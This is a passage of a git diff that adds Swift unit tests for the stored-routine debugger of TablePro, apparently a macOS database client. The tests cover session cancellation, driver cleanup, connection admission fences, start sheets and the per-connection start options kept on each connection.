+            PluginDebugVariable(name: "total", kind: .local, typeName: "integer", value: "0", isConstant: false),
+            PluginDebugVariable(name: "note", kind: .local, typeName: "text", value: nil, isConstant: false),
+        ]
+    }
+
+    func setBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws -> PluginDebugBreakpoint? {
+        beginCall()
+        defer { endCall() }
+        lock.withLock {
+            setBreakpoints.append(breakpoint)
+            calls.append("set \(breakpoint.line)")
+        }
+        await placeGate?.wait()
+        try throwIfStopped()
+        return placesBreakpoint(breakpoint.line).map {
+            PluginDebugBreakpoint(unitIdentity: breakpoint.unitIdentity, line: $0)
+        }
+    }
+
+    func removeBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws {
+        beginCall()
+        defer { endCall() }
+        lock.withLock {
+            removedBreakpoints.append(breakpoint)
+            calls.append("remove \(breakpoint.line)")
+        }
+    }
+
+    // Ends every call still running at once, then confirms the stop when `stopBlocker` lets it.
+    func stop() async -> PluginDebugStopOutcome {
+        lock.withLock {
+            stops += 1
+            stopped = true
+            if callsInFlight > 0 { stopOverlaps += 1 }
+        }
+        await stopGate.open()
+        await inspectGate?.open()
+        await placeGate?.open()
+        await laterStackGate?.open()
+        await stopBlocker?.wait()
+        outputContinuation.finish()
+        return stopOutcome
+    }
+}
+
+internal struct FakeDebugError: LocalizedError, Sendable {
+    let message: String
+    var errorDescription: String? { message }
+}
+
+internal enum FakeStartBehavior: Sendable {
+    case immediate
+    // The target's call is under way and waits for a breakpoint that never comes, until the start is cancelled.
+    case untilCancelled
+    // A plugin that never looks at cancellation and returns its session once the gate opens.
+    case ignoringCancellation(AsyncGate)
+    // Cancelled, the plugin cannot confirm its target ended and throws why.
+    case untilCancelledThenThrowing(any Error & Sendable)
+}
+
+internal final class FakeRoutineDebugger: PluginRoutineDebugging, @unchecked Sendable {
+    let session: FakeDebugSession
+    private let driversPerSession: Int
+    private let startBehavior: FakeStartBehavior
+    private let lock = NSLock()
+    private var requests: [PluginDebugRequest] = []
+    private var cancelled = false
+
+    init(session: FakeDebugSession, driversPerSession: Int = 2, startBehavior: FakeStartBehavior = .immediate) {
+        self.session = session
+        self.driversPerSession = driversPerSession
+        self.startBehavior = startBehavior
+    }
+
+    var startRequests: [PluginDebugRequest] { lock.withLock { requests } }
+    var startWasCancelled: Bool { lock.withLock { cancelled } }
+
+    var canDebugRoutines: Bool { true }
+
+    func debugTarget(for routine: PluginRoutineInfo) -> PluginDebugTarget? {
+        PluginDebugTarget(identity: routine.identity ?? routine.name, name: routine.name, schema: routine.schema, kindDisplayName: "Function")
+    }
+
+    func debugTargets(schema: String?) async throws -> [PluginDebugTarget] { [] }
+
+    func prepareDebug(_ target: PluginDebugTarget) async throws -> PluginDebugPlan {
+        RoutineDebugFixtures.plan()
+    }
+
+    func startDebug(_ request: PluginDebugRequest, sessions: any PluginDebugSessionSource) async throws -> any PluginDebugSession {
+        lock.withLock { requests.append(request) }
+        for _ in 0..<driversPerSession {
+            _ = try await sessions.openSession()
+        }
+        switch startBehavior {
+        case .immediate:
+            break
+        case .untilCancelled:
+            do {
+                // Stands for a call that never reaches its first line; only cancellation ends it.
+                try await Task.sleep(for: .seconds(600))
+            } catch {
+                lock.withLock { cancelled = true }
+                throw CancellationError()
+            }
+        case .ignoringCancellation(let gate):
+            await gate.wait()
+        case .untilCancelledThenThrowing(let error):
+            do {
+                try await Task.sleep(for: .seconds(600))
+            } catch {
+                lock.withLock { cancelled = true }
+            }
+            throw error
+        }
+        return session
+    }
+}
+
+internal enum RoutineDebugFixtures {
+    static let target = PluginDebugTarget(identity: "16431", name: "order_total", schema: "public", kindDisplayName: "Function")
+    static let entryPoint = PluginDebugEntryPoint(
+        identity: "16431",
+        displayName: "order_total(integer)",
+        parameters: [PluginDebugParameter(name: "id", typeName: "integer", mode: .input, hasDefault: false)]
+    )
+
+    static func plan(mayWrite: Bool = false, preparation: PluginDebugPreparation? = nil) -> PluginDebugPlan {
+        PluginDebugPlan(target: target, entryPoints: [entryPoint], mayWrite: mayWrite, preparation: preparation)
+    }
+
+    @MainActor
+    static func controller(
+        session: FakeDebugSession = FakeDebugSession(),
+        drivers: DebugDriverLog = DebugDriverLog(),
+        plan: PluginDebugPlan = RoutineDebugFixtures.plan(),
+        gate: any ExecutionGate = AlwaysAllowGate(),
+        startBehavior: FakeStartBehavior = .immediate,
+        cancelLimit: Duration = .seconds(5),
+        admits: @escaping @Sendable () async -> Bool = { true },
+        confirmPreparation: @escaping @MainActor (PluginDebugPreparation) async -> Bool = { _ in true },
+        withdrawPreparation: @escaping @MainActor () -> Void = {}
+    ) -> (RoutineDebugController, FakeRoutineDebugger) {
+        let debugger = FakeRoutineDebugger(session: session, startBehavior: startBehavior)
+        let controller = RoutineDebugController(
+            plan: plan,
+            choice: RoutineDebugStartChoice(
+                entryPoint: entryPoint,
+                arguments: [PluginDebugArgument(parameterName: "id", value: .text("7"))],
+                optionValues: [:]
+            ),
+            connectionId: UUID(),
+            databaseType: .postgresql,
+            debugger: debugger,
+            sessionSource: drivers.source(admits: admits),
+            gate: gate,
+            cancelLimit: cancelLimit,
+            confirmPreparation: confirmPreparation,
+            withdrawPreparation: withdrawPreparation
+        )
+        return (controller, debugger)
+    }
+}
+
+// A gate still waiting on the person: it answers as Cancel once its task is cancelled, or, ignoring cancellation, as
+// allowed when `answer` opens.
+internal final class WaitingGate: ExecutionGate, @unchecked Sendable {
+    private let lock = NSLock()
+    private let answer: AsyncGate?
+    private var asked = 0
+    private var cancelled = false
+
+    init(ignoringCancellationUntil answer: AsyncGate? = nil) {
+        self.answer = answer
+    }
+
+    var askedCount: Int { lock.withLock { asked } }
+    var sawCancellation: Bool { lock.withLock { cancelled } }
+
+    func authorize(_ request: OperationRequest) async -> OperationDecision {
+        lock.withLock { asked += 1 }
+        if let answer {
+            await answer.wait()
+            return await AlwaysAllowGate().authorize(request)
+        }
+        do {
+            try await Task.sleep(for: .seconds(600))
+        } catch {
+            lock.withLock { cancelled = true }
+            return .denied(reason: "Operation cancelled by user", cause: .cancelledByUser)
+        }
+        return .denied(reason: "No answer")
+    }
+}
diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugOptionStoreTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugOptionStoreTests.swift
new file mode 100644
index 0000000000..f167756bef
--- /dev/null
+++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugOptionStoreTests.swift
@@ -0,0 +1,64 @@
+//
+//  RoutineDebugOptionStoreTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import Testing
+
+@MainActor
+struct RoutineDebugOptionStoreTests {
+    private let pool = EphemeralDefaultsPool()
+
+    private static func isolatedQueryHistory() -> QueryHistoryManager {
+        QueryHistoryManager(
+            storage: QueryHistoryStorage(
+                databaseURL: FileManager.default.temporaryDirectory
+                    .appendingPathComponent("tablepro-tests")
+                    .appendingPathComponent("debug_options_\(UUID().uuidString).db"),
+                removeDatabaseOnDeinit: true
+            ),
+            isCapturePaused: { false }
+        )
+    }
+
+    @Test("Deleting a connection removes its start options and keeps another connection's")
+    func connectionDeleteRemovesItsOptions() throws {
+        let defaults = try pool.make().defaults
+        let store = RoutineDebugOptionStore(defaults: { defaults })
+        let deleted = UUID()
+        let kept = UUID()
+        store.save(["host": "10.0.0.5", "port": "4000"], connectionId: deleted)
+        store.save(["host": "10.0.0.9"], connectionId: kept)
+
+        ConnectionLocalState.purge(
+            connectionIds: [deleted],
+            origin: .remote,
+            tableScopedStores: [],
+            queryHistory: Self.isolatedQueryHistory(),
+            defaults: defaults
+        )
+
+        #expect(store.value(for: "host", connectionId: deleted) == nil)
+        #expect(store.value(for: "port", connectionId: deleted) == nil)
+        #expect(store.value(for: "host", connectionId: kept) == "10.0.0.9")
+    }
+
+    @Test("Reset All Settings removes every connection's start options and nothing else")
+    func resetRemovesAllOptions() throws {
+        let defaults = try pool.make().defaults
+        let store = RoutineDebugOptionStore(defaults: { defaults })
+        let first = UUID()
+        let second = UUID()
+        store.save(["host": "10.0.0.5"], connectionId: first)
+        store.save(["port": "4000"], connectionId: second)
+        defaults.set("kept", forKey: "RoutineDebugOptionsUnrelated")
+
+        AppSettingsStorage(userDefaults: defaults).resetToDefaults()
+
+        #expect(store.value(for: "host", connectionId: first) == nil)
+        #expect(store.value(for: "port", connectionId: second) == nil)
+        #expect(defaults.string(forKey: "RoutineDebugOptionsUnrelated") == "kept")
+    }
+}
diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionSourceTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionSourceTests.swift
new file mode 100644
index 0000000000..c6fae5f98a
--- /dev/null
+++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionSourceTests.swift
@@ -0,0 +1,86 @@
+//
+//  RoutineDebugSessionSourceTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import TableProTestSupport
+import Testing
+
+private final class StatementLog: @unchecked Sendable {
+    private let lock = NSLock()
+    private var statements: [String] = []
+    private var closes = 0
+
+    var executed: [String] { lock.withLock { statements } }
+    var closedCount: Int { lock.withLock { closes } }
+
+    func record(_ statement: String) { lock.withLock { statements.append(statement) } }
+    func recordClose() { lock.withLock { closes += 1 } }
+}
+
+private final class StatementDriver: PluginDriverStub, @unchecked Sendable {
+    let log: StatementLog
+
+    init(log: StatementLog) {
+        self.log = log
+    }
+
+    func execute(query: String) async throws -> PluginQueryResult {
+        log.record(query)
+        return .empty
+    }
+}
+
+@MainActor
+struct RoutineDebugSessionSourceTests {
+    @Test("A preparation's statements run in order on a driver of their own, which is closed after")
+    func preparationUsesAndClosesItsOwnDriver() async throws {
+        let log = StatementLog()
+        let source = RoutineDebugSessionSource {
+            RoutineDebugDriverHandle(driver: StatementDriver(log: log)) { log.recordClose() }
+        }
+
+        try await source.run(["ALTER PACKAGE p COMPILE", "ALTER PACKAGE p COMPILE BODY"])
+        await source.closeAll()
+
+        #expect(log.executed == ["ALTER PACKAGE p COMPILE", "ALTER PACKAGE p COMPILE BODY"])
+        #expect(log.closedCount == 1)
+    }
+
+    @Test("A driver still dialing when the session ends is closed and refused, never handed to the plugin")
+    func lateDriverIsClosed() async throws {
+        let log = StatementLog()
+        let dialing = AsyncGate()
+        let source = RoutineDebugSessionSource {
+            await dialing.wait()
+            return RoutineDebugDriverHandle(driver: StatementDriver(log: log)) { log.recordClose() }
+        }
+
+        let opening = Task { try await source.openSession() }
+        await dialing.arrived(1)
+        await source.closeAll()
+        await dialing.open()
+
+        await #expect(throws: RoutineDebugError.sessionEnded) { _ = try await opening.value }
+        #expect(log.closedCount == 1)
+        await #expect(throws: RoutineDebugError.sessionEnded) { _ = try await source.openSession() }
+    }
+
+    @Test("Ending the session closes every driver it opened, once")
+    func closeAllClosesEachDriverOnce() async throws {
+        let log = StatementLog()
+        let source = RoutineDebugSessionSource {
+            RoutineDebugDriverHandle(driver: StatementDriver(log: log)) { log.recordClose() }
+        }
+
+        _ = try await source.openSession()
+        _ = try await source.openSession()
+        await source.closeAll()
+        await source.closeAll()
+
+        #expect(log.closedCount == 2)
+    }
+}
diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionsTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionsTests.swift
new file mode 100644
index 0000000000..ab03edd386
--- /dev/null
+++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionsTests.swift
@@ -0,0 +1,304 @@
+//
+//  RoutineDebugSessionsTests.swift
+//  TableProTests
+//
+
+import AppKit
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import TableProTestSupport
+import Testing
+
+@MainActor
+private final class UnconfirmedStopRecorder {
+    private(set) var texts: [String?] = []
+    private(set) var windows: [NSWindow?] = []
+
+    func record(_ controller: RoutineDebugController, _ window: NSWindow?) {
+        texts.append(controller.unconfirmedStop)
+        windows.append(window)
+    }
+}
+
+@MainActor
+struct RoutineDebugSessionsTests {
+    @Test("Stopping a connection's runs closes their drivers at the caller's deadline when a target cannot be reached")
+    func stopAllSharesItsDeadline() async throws {
+        let blocker = AsyncGate()
+        let session = FakeDebugSession(stopBlocker: blocker)
+        let drivers = DebugDriverLog()
+        let (controller, _) = RoutineDebugFixtures.controller(session: session, drivers: drivers, cancelLimit: .seconds(30))
+        let registry = RoutineDebugSessions(isModuleEnabled: { true })
+        let connectionId = UUID()
+        registry.register(controller, tabId: UUID(), connectionId: connectionId)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        let timeout: Duration = .milliseconds(200)
+        let asked = ContinuousClock.now
+        await registry.stopAll(connectionId: connectionId, timeout: timeout)
+        #expect(ContinuousClock.now >= asked.advanced(by: timeout))
+        try await waitUntil(timeout: .seconds(2)) { controller.hasEnded }
+
+        #expect(session.stopCount == 1)
+        #expect(drivers.closedCount == 2)
+        #expect(drivers.closeInstants.allSatisfy { $0 >= asked.advanced(by: timeout) })
+        #expect(controller.statusText == RoutineDebugController.stopNotConfirmed)
+        await blocker.open()
+    }
+
+    @Test("Closing the tab while the debugger is still starting cancels the start and closes its drivers")
+    func endSessionWhileStarting() async throws {
+        let session = FakeDebugSession()
+        let drivers = DebugDriverLog()
+        let (controller, debugger) = RoutineDebugFixtures.controller(
+            session: session,
+            drivers: drivers,
+            startBehavior: .untilCancelled
+        )
+        let registry = RoutineDebugSessions(isModuleEnabled: { true })
+        let tabId = UUID()
+        registry.register(controller, tabId: tabId, connectionId: UUID())
+        controller.start()
+        try await waitUntil { drivers.openedCount == 2 }
+
+        registry.endSession(forTab: tabId)
+        try await waitUntil { controller.hasEnded }
+
+        #expect(debugger.startWasCancelled)
+        #expect(drivers.closedCount == 2)
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+        try await waitUntil { !registry.hasActiveSessions }
+    }
+
+    @Test("A start racing a connection's stop is refused and opens no driver; after the reconnect a fresh start works")
+    func admissionFence() async throws {
+        let registry = RoutineDebugSessions(isModuleEnabled: { true })
+        let connectionId = UUID()
+        let staleGeneration = registry.admissionGeneration(for: connectionId)
+        let staleDrivers = DebugDriverLog()
+        let (stale, _) = RoutineDebugFixtures.controller(drivers: staleDrivers, admits: {
+            await registry.admits(connectionId, generation: staleGeneration)
+        })
+
+        await registry.stopAll(connectionId: connectionId)
+        #expect(!registry.register(stale, tabId: UUID(), connectionId: connectionId, generation: staleGeneration))
+        stale.start()
+        try await waitUntil { stale.hasEnded }
+        #expect(staleDrivers.openedCount == 0)
+        guard case .failed(let message) = stale.state else {
+            Issue.record("expected failed, got \(stale.state)")
+            return
+        }
+        #expect(message == RoutineDebugError.connectionChanged.localizedDescription)
+
+        registry.reopenAdmission(for: connectionId)
+        #expect(!registry.admits(connectionId, generation: staleGeneration))
+        let freshGeneration = registry.admissionGeneration(for: connectionId)
+        let freshDrivers = DebugDriverLog()
+        let (fresh, _) = RoutineDebugFixtures.controller(drivers: freshDrivers, admits: {
+            await registry.admits(connectionId, generation: freshGeneration)
+        })
+        #expect(registry.register(fresh, tabId: UUID(), connectionId: connectionId, generation: freshGeneration))
+        fresh.start()
+        try await waitUntil { fresh.state.pausedLocation != nil }
+        #expect(freshDrivers.openedCount == 2)
+        fresh.stop()
+        try await waitUntil { fresh.hasEnded }
+    }
+
+    @Test("A run counts as active until its tab's stop has finished")
+    func activeUntilStopped() async throws {
+        let registry = RoutineDebugSessions(isModuleEnabled: { true })
+        let (controller, _) = RoutineDebugFixtures.controller()
+        let tabId = UUID()
+        #expect(!registry.hasActiveSessions)
+
+        registry.register(controller, tabId: tabId, connectionId: UUID())
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+        #expect(registry.hasActiveSessions)
+
+        registry.endSession(forTab: tabId)
+        #expect(registry.controller(forTab: tabId) == nil)
+        try await waitUntil { !registry.hasActiveSessions }
+        #expect(controller.hasEnded)
+    }
+
+    @Test("Turning the module off during a preparation statement closes its driver, and the session never starts")
+    func moduleOffDuringPreparationStatement() async throws {
+        let center = NotificationCenter()
+        let registry = RoutineDebugSessions(isModuleEnabled: { false }, notificationCenter: center)
+        let drivers = DebugDriverLog(statements: .untilCancelled)
+        let preparation = PluginDebugPreparation(
+            message: "Compile for debugging?",
+            informativeText: nil,
+            actionTitle: "Compile for Debug",
+            statements: ["ALTER PACKAGE p COMPILE BODY"]
+        )
+        let (controller, debugger) = RoutineDebugFixtures.controller(
+            drivers: drivers,
+            plan: RoutineDebugFixtures.plan(preparation: preparation)
+        )
+        registry.register(controller, tabId: UUID(), connectionId: UUID())
+        controller.start()
+        try await waitUntil { drivers.executedCount == 1 }
+
+        center.post(name: .appModulesDidChange, object: AppModule.routineDebugger)
+        try await waitUntil { controller.hasEnded }
+
+        #expect(drivers.closedCount == 1)
+        #expect(debugger.startRequests.isEmpty)
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+        try await waitUntil { !registry.hasActiveSessions }
+    }
+
+    @Test("Turning the module off while the gate is still asking withdraws it, ends the run and drops the observer")
+    func moduleOffWhileTheGateAsks() async throws {
+        let center = NotificationCenter()
+        let registry = RoutineDebugSessions(isModuleEnabled: { false }, notificationCenter: center)
+        let gate = WaitingGate()
+        let (controller, debugger) = RoutineDebugFixtures.controller(gate: gate)
+        registry.register(controller, tabId: UUID(), connectionId: UUID())
+        controller.start()
+        try await waitUntil { gate.askedCount == 1 }
+
+        center.post(name: .appModulesDidChange, object: AppModule.routineDebugger)
+        try await waitUntil { controller.hasEnded }
+
+        #expect(gate.sawCancellation)
+        #expect(debugger.startRequests.isEmpty)
+        try await waitUntil { !registry.hasActiveSessions }
+    }
+
+    @Test("Turning the module off ends every run the registry holds")
+    func moduleOffEndsRuns() async throws {
+        let center = NotificationCenter()
+        let registry = RoutineDebugSessions(isModuleEnabled: { false }, notificationCenter: center)
+        let session = FakeDebugSession()
+        let tabId = UUID()
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        registry.register(controller, tabId: tabId, connectionId: UUID())
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        center.post(name: .appModulesDidChange, object: AppModule.routineDebugger)
+        await controller.waitUntilEnded()
+
+        #expect(session.stopCount == 1)
+        #expect(registry.controller(forTab: tabId) == nil)
+        try await waitUntil { !registry.hasActiveSessions }
+    }
+
+    @Test("A stop the plugin cannot confirm after its tab closed is reported on the window that held the tab")
+    func unconfirmedStopOfClosedTabIsReported() async throws {
+        let recorder = UnconfirmedStopRecorder()
+        let registry = RoutineDebugSessions(isModuleEnabled: { true }, reportUnconfirmedStop: { recorder.record($0, $1) })
+        let session = FakeDebugSession(stopOutcome: .unconfirmed(
+            message: "Server process 4242 may still be running.",
+            detail: "End it with pg_terminate_backend(4242)."
+        ))
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        let tabId = UUID()
+        registry.register(controller, tabId: tabId, connectionId: UUID())
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+        let window = NSWindow(contentRect: .zero, styleMask: [.titled], backing: .buffered, defer: true)
+        window.isReleasedWhenClosed = false
+
+        registry.endSession(forTab: tabId, window: window)
+        try await waitUntil { !registry.hasActiveSessions }
+
+        #expect(recorder.texts == ["Server process 4242 may still be running.\nEnd it with pg_terminate_backend(4242)."])
+        #expect(recorder.windows.count == 1 && recorder.windows[0] === window)
+    }
+
+    @Test("A confirmed stop after the tab closed reports nothing")
+    func confirmedStopOfClosedTabIsNotReported() async throws {
+        let recorder = UnconfirmedStopRecorder()
+        let registry = RoutineDebugSessions(isModuleEnabled: { true }, reportUnconfirmedStop: { recorder.record($0, $1) })
+        let session = FakeDebugSession()
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        let tabId = UUID()
+        registry.register(controller, tabId: tabId, connectionId: UUID())
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        registry.endSession(forTab: tabId)
+        try await waitUntil { !registry.hasActiveSessions }
+
+        #expect(session.stopCount == 1)
+        #expect(recorder.texts.isEmpty)
+    }
+
+    @Test("An unconfirmed stop that ended while its tab still showed it is not reported again when the tab closes")
+    func unconfirmedStopShownInItsTabIsNotReported() async throws {
+        let recorder = UnconfirmedStopRecorder()
+        let registry = RoutineDebugSessions(isModuleEnabled: { true }, reportUnconfirmedStop: { recorder.record($0, $1) })
+        let session = FakeDebugSession(stopOutcome: .unconfirmed(message: "Server process 4242 may still be running.", detail: nil))
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        let tabId = UUID()
+        let connectionId = UUID()
+        registry.register(controller, tabId: tabId, connectionId: connectionId)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        await registry.stopAll(connectionId: connectionId)
+        registry.reopenAdmission(for: connectionId)
+        try await waitUntil { controller.hasEnded }
+        registry.endSession(forTab: tabId)
+        try await waitUntil { !registry.hasActiveSessions }
+
+        #expect(controller.unconfirmedStop != nil)
+        #expect(recorder.texts.isEmpty)
+    }
+
+    @Test("An unconfirmed stop a disconnect caused is reported once its tab goes with the connection")
+    func unconfirmedStopOfDisconnectIsReportedWhenItsTabCloses() async throws {
+        let recorder = UnconfirmedStopRecorder()
+        let registry = RoutineDebugSessions(isModuleEnabled: { true }, reportUnconfirmedStop: { recorder.record($0, $1) })
+        let session = FakeDebugSession(stopOutcome: .unconfirmed(message: "Server process 4242 may still be running.", detail: nil))
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        let tabId = UUID()
+        let connectionId = UUID()
+        registry.register(controller, tabId: tabId, connectionId: connectionId)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        await registry.stopAll(connectionId: connectionId, tabsCloseAfter: true)
+        registry.reopenAdmission(for: connectionId)
+        try await waitUntil { controller.hasEnded }
+        #expect(recorder.texts.isEmpty)
+        registry.endSession(forTab: tabId)
+        try await waitUntil { recorder.texts.count == 1 }
+
+        #expect(recorder.texts == ["Server process 4242 may still be running."])
+    }
+
+    @Test("Two overlapping transport replacements keep the fence closed until the second one ends")
+    func nestedFencesReopenOnTheLast() async {
+        let registry = RoutineDebugSessions(isModuleEnabled: { true })
+        let connectionId = UUID()
+
+        await registry.stopAll(connectionId: connectionId)
+        await registry.stopAll(connectionId: connectionId)
+        let generation = registry.admissionGeneration(for: connectionId)
+
+        registry.reopenAdmission(for: connectionId)
+        #expect(!registry.admits(connectionId, generation: generation))
+
+        registry.reopenAdmission(for: connectionId)
+        #expect(registry.admits(connectionId, generation: generation))
+
+        registry.reopenAdmission(for: connectionId)
+        await registry.stopAll(connectionId: connectionId)
+        #expect(!registry.admits(connectionId, generation: registry.admissionGeneration(for: connectionId)))
+    }
+}
diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSheetTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSheetTests.swift
new file mode 100644
index 0000000000..5068b87827
--- /dev/null
+++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSheetTests.swift
@@ -0,0 +1,58 @@
+//
+//  RoutineDebugSheetTests.swift
+//  TableProTests
+//
+
+import AppKit
+import Foundation
+import SwiftUI
+@testable import TablePro
+import TableProTestSupport
+import Testing
+
+@MainActor
+struct RoutineDebugSheetTests {
+    private static func makeWindow() -> NSWindow {
+        let window = NSWindow(
+            contentRect: NSRect(x: 0, y: 0, width: 480, height: 320),
+            styleMask: [.titled, .closable],
+            backing: .buffered,
+            defer: true
+        )
+        window.isReleasedWhenClosed = false
+        return window
+    }
+
+    private static func present(on window: NSWindow, setup: RoutineDebugSetup) -> Task<Int?, Never> {
+        Task {
+            await RoutineDebugSheet.present(on: window, setup: setup) { (_: @escaping @MainActor (Int?) -> Void) in
+                Text(verbatim: "Sheet")
+            }
+        }
+    }
+
+    @Test("Closing the window under the sheet answers it as cancelled")
+    func parentCloseAnswersTheSheet() async throws {
+        let window = Self.makeWindow()
+        let setup = RoutineDebugSetup()
+        let answer = Self.present(on: window, setup: setup)
+        try await waitUntil { setup.dismissPresentation != nil }
+
+        window.close()
+
+        #expect(await answer.value == nil)
+        #expect(setup.dismissPresentation == nil)
+    }
+
+    @Test("A sheet already answered ignores its window closing afterwards")
+    func parentCloseAfterAnswerResumesNothing() async throws {
+        let window = Self.makeWindow()
+        let setup = RoutineDebugSetup()
+        let answer = Self.present(on: window, setup: setup)
+        try await waitUntil { setup.dismissPresentation != nil }
+
+        setup.cancel()
+        #expect(await answer.value == nil)
+        window.close()
+    }
+}
diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartFlowTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartFlowTests.swift
new file mode 100644
index 0000000000..c941d9bfbc
--- /dev/null
+++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartFlowTests.swift
@@ -0,0 +1,132 @@
+//
+//  RoutineDebugStartFlowTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import TableProTestSupport
+import Testing
+
+@MainActor
+private final class FlowRecorder {
+    var moduleEnabled = true
+    var prepared: [RoutineDebugPick] = []
+    var sheets = 0
+    var openedScopes: [DatabaseScope] = []
+    var failures = 0
+    var opened: Int { openedScopes.count }
+
+    func flow(
+        onPrepare: @escaping @MainActor () -> Void = {},
+        onSheet: @escaping @MainActor () -> Void = {}
+    ) -> RoutineDebugStartFlow {
+        RoutineDebugStartFlow(
+            isModuleEnabled: { self.moduleEnabled },
+            prepare: { pick in
+                self.prepared.append(pick)
+                onPrepare()
+                return RoutineDebugFixtures.plan()
+            },
+            presentStartSheet: { _, _ in
+                self.sheets += 1
+                onSheet()
+                return RoutineDebugStartChoice(entryPoint: RoutineDebugFixtures.entryPoint, arguments: [], optionValues: [:])
+            },
+            reportFailure: { _, _ in self.failures += 1 },
+            open: { _, _, scope in self.openedScopes.append(scope) }
+        )
+    }
+}
+
+private let connectionId = UUID()
+private let salesPick = RoutineDebugPick(
+    target: RoutineDebugFixtures.target,
+    scope: DatabaseScope(connectionId: connectionId, database: "sales", schema: "public")
+)
+
+@MainActor
+struct RoutineDebugStartFlowTests {
+    @Test("A routine chosen after the module went off reads nothing and shows no start sheet")
+    func chooserAnsweredAfterModuleOff() async {
+        let recorder = FlowRecorder()
+        let setup = RoutineDebugSetup()
+
+        await recorder.flow().choose(setup: setup) { _ in
+            recorder.moduleEnabled = false
+            return salesPick
+        }
+
+        #expect(recorder.prepared.isEmpty)
+        #expect(recorder.sheets == 0)
+        #expect(recorder.opened == 0)
+    }
+
+    @Test("A setup cancelled while the plan loads shows no start sheet and opens no tab")
+    func cancelledWhilePreparing() async {
+        let recorder = FlowRecorder()
+        let setup = RoutineDebugSetup()
+
+        await recorder.flow(onPrepare: { setup.cancel() }).run(salesPick, setup: setup)
+
+        #expect(recorder.prepared.count == 1)
+        #expect(recorder.sheets == 0)
+        #expect(recorder.opened == 0)
+    }
+
+    @Test("With the module on, a chosen routine reaches its start sheet and its tab")
+    func completeFlowOpensTheTab() async {
+        let recorder = FlowRecorder()
+
+        await recorder.flow().choose(setup: RoutineDebugSetup()) { _ in salesPick }
+
+        #expect(recorder.prepared == [salesPick])
+        #expect(recorder.sheets == 1)
+        #expect(recorder.opened == 1)
+    }
+
+    @Test("A routine keeps the database it was chosen in when the browse database moves before it starts")
+    func chosenDatabaseIsFrozen() async {
+        let recorder = FlowRecorder()
+        var browseDatabase = "sales"
+
+        await recorder.flow(onSheet: { browseDatabase = "hr" }).choose(setup: RoutineDebugSetup()) { _ in
+            RoutineDebugPick(
+                RoutineDebugFixtures.target,
+                listedIn: DatabaseScope(connectionId: connectionId, database: browseDatabase, schema: "public")
+            )
+        }
+
+        #expect(browseDatabase == "hr")
+        #expect(recorder.prepared.map { $0.scope.database } == ["sales"])
+        #expect(recorder.openedScopes.map { $0.database } == ["sales"])
+    }
+
+    @Test("A chooser pick takes the listed database and the routine's own schema")
+    func pickTakesTheListedDatabase() {
+        let listed = DatabaseScope(connectionId: connectionId, database: "sales", schema: "reporting")
+        let target = PluginDebugTarget(identity: "1", name: "f", schema: "public", kindDisplayName: "Function")
+        let unqualified = PluginDebugTarget(identity: "2", name: "g", schema: nil, kindDisplayName: "Function")
+
+        #expect(RoutineDebugPick(target, listedIn: listed).scope
+            == DatabaseScope(connectionId: connectionId, database: "sales", schema: "public"))
+        #expect(RoutineDebugPick(unqualified, listedIn: listed).scope == listed)
+    }
+
+    @Test("Turning the module off dismisses every chooser and start sheet still on screen")
+    func moduleOffCancelsPendingSetups() async throws {
+        let center = NotificationCenter()
+        let registry = RoutineDebugSessions(isModuleEnabled: { false }, notificationCenter: center)
+        let setup = RoutineDebugSetup()
+        var dismissed = false
+        setup.dismissPresentation = { dismissed = true }
+        registry.beginSetup(setup)
+
+        center.post(name: .appModulesDidChange, object: AppModule.routineDebugger)
+        try await waitUntil { setup.isCancelled }
+
+        #expect(dismissed)
+        registry.endSetup(setup)
+    }
+}
diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartModelTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartModelTests.swift
new file mode 100644
index 0000000000..1207107d44
--- /dev/null
+++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartModelTests.swift
@@ -0,0 +1,60 @@
+//
+//  RoutineDebugStartModelTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+@MainActor
+struct RoutineDebugStartModelTests {
+    private func plan(options: [ConnectionField]) -> PluginDebugPlan {
+        PluginDebugPlan(
